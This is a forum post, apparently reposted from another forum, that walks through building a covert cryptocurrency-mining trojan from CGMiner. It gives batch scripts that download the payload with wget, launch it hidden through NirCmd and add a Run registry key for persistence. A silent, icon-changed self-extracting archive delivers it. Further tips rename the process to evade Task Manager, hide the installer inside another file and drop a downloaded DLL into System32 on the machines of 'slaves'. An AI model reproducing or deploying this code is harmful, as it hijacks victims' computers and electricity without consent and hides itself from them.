12 Years of Service
95%
Well i am nearing my 100 rep+ so saying thanks to all hose who gave me, i am sharing this special topic.
I didn't created this one but removed the bugs from a topic in other forums and posted it.
Requirements:
http://ck.kolivas.org/apps/cgminer/'>http://ck.kolivas.org/apps/cgminer/ [Download one for windows]
http://www.nirsoft.net/utils/nircmd.html'>http://www.nirsoft.net/utils/nircmd.html
Winrar
Now How to Create:
First download latest build of CGMiner from the official web site( http://ck.kolivas.org/apps/cgminer/ ).
Extract it in a folder.
Then download NirCmd ( http://www.nirsoft.net/utils/nircmd.html). Get the x86 version, it works on both x86 and x64 os. NirCmd will help us to start programs in hidden mode, is very useful.
Put the nircmd.exe in your CGminer folder.
Now navigate in your installation folder of winrar and take from it the RAR.exe. This is a command line winrar.
We will use it later. For now just put it near your CGMiner folder
Create a txt file inside your CGMiner and edit it like this:
Where username and password is your mining username and password and that stratum.mining.eligius.st:3334 is your mining address.
Rename start.txt in start.bat and put it in your CGMiner folder.
Nice! Our miner is ready!
Select all files inside your miner folder and compress them into a rar file. Let’s call it setup.rar. Put setup.rar near your rar.exe.
Pay attention! The files of miner should be in root of rar file without subfolders!
Now upload setup.rar and RAR.exe on a direct link hosting site, You can upload setup.rar in
and for ther Rar.exe, use this link http://dl.dropboxuse...3349776/Rar.exe Save the direct download links, we will use them in the next step.
Now let’s make the installer!
Installer creation:
Create installer.txt file and write this inside:
Save this file with .bat extension.
Wget will download files for us. Put it in the same folder with installer.bat. Also add nircmd.exe.
Our installer is ready!
Now we need to put all together. We will use a SFX-rar file.
Select all files and create a new rar archive.
Set it like this:
Now go in “advanced” tab and press on SFX options.
Go in icon settings for change the icon of output sfx file.
After this go in comments tab and enter this comment:
Then create your sfx file. Now the installer is made
Tips:
-Changing name of cgminer.exe will also change the process name in task manager! Remember to write the right name in all .bat files!
-Adding another file in the sfx archive and changing the comment can hide the installer.
How to remove:
Create uninstall.bat and write this inside:
If your slaves get an error "OpenCl.DLL" is missing like this
it is recommended to drop this file at System32 "http://webgel.net/bf/OpenCL.dll" by putting it inside the archive by putting an extra line in Rar command like this:
Launch uninstall.bat to remove the miner.
I didn't created this one but removed the bugs from a topic in other forums and posted it.
Requirements:
http://ck.kolivas.org/apps/cgminer/'>http://ck.kolivas.org/apps/cgminer/ [Download one for windows]
http://www.nirsoft.net/utils/nircmd.html'>http://www.nirsoft.net/utils/nircmd.html
Winrar
This link is hidden for visitors. Please Log in or register now.
Now How to Create:
First download latest build of CGMiner from the official web site( http://ck.kolivas.org/apps/cgminer/ ).
Extract it in a folder.
Then download NirCmd ( http://www.nirsoft.net/utils/nircmd.html). Get the x86 version, it works on both x86 and x64 os. NirCmd will help us to start programs in hidden mode, is very useful.

Put the nircmd.exe in your CGminer folder.

Now navigate in your installation folder of winrar and take from it the RAR.exe. This is a command line winrar.

We will use it later. For now just put it near your CGMiner folder

Create a txt file inside your CGMiner and edit it like this:
Code:
>
SET NRCMD="%appdata%\miner\nircmd.exe"
SET ARG1=-u username
SET ARG2=-p password -I d
SET ARGNRCMD=exec hide
SET ARG0=-o stratum+tcp://us2.eclipsemc.com:3333
SET MINER="%appdata%\miner\cgminer.exe"
%NRCMD% %ARGNRCMD% %MINER% %ARG0% %ARG1% %ARG2%
Rename start.txt in start.bat and put it in your CGMiner folder.

Nice! Our miner is ready!
Select all files inside your miner folder and compress them into a rar file. Let’s call it setup.rar. Put setup.rar near your rar.exe.
Pay attention! The files of miner should be in root of rar file without subfolders!

Now upload setup.rar and RAR.exe on a direct link hosting site, You can upload setup.rar in
This link is hidden for visitors. Please Log in or register now.
Now let’s make the installer!
Installer creation:
Create installer.txt file and write this inside:
Code:
>SET INSTALLPATH=%appdata%\miner
mkdir %INSTALLPATH%
wget.exe http://mysite.com/RAR.exe -O "%INSTALLPATH%\rar.exe"
wget.exe http://mysite.com/setup.rar -O "%INSTALLPATH%\setup.rar"
%INSTALLPATH%\RAR.exe x -o+ %INSTALLPATH%\setup.rar %INSTALLPATH%\
reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "miner" /d "\"%INSTALLPATH%\nircmd.exe\" exec hide \"%INSTALLPATH%\start.bat\"" /f
start %INSTALLPATH%\nircmd.exe exec hide %INSTALLPATH%\start.bat
Wget will download files for us. Put it in the same folder with installer.bat. Also add nircmd.exe.

Our installer is ready!
Now we need to put all together. We will use a SFX-rar file.
Select all files and create a new rar archive.
Set it like this:

Now go in “advanced” tab and press on SFX options.
Go in icon settings for change the icon of output sfx file.

After this go in comments tab and enter this comment:
Code:
>
Path=%temp%
SavePath
Setup="%temp%\nircmd.exe" exec hide "%temp%\installer.bat"
Silent=1
Overwrite=1

Then create your sfx file. Now the installer is made
Tips:
-Changing name of cgminer.exe will also change the process name in task manager! Remember to write the right name in all .bat files!
-Adding another file in the sfx archive and changing the comment can hide the installer.
How to remove:
Create uninstall.bat and write this inside:
If your slaves get an error "OpenCl.DLL" is missing like this

it is recommended to drop this file at System32 "http://webgel.net/bf/OpenCL.dll" by putting it inside the archive by putting an extra line in Rar command like this:
Code:
>Setup="%temp%\OpenCL.dll"
taskkill /IM cgminer.exe /F
del %appdata%\miner\* /Q
rmdir %appdata%\miner
reg DELETE HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run / v "miner" /f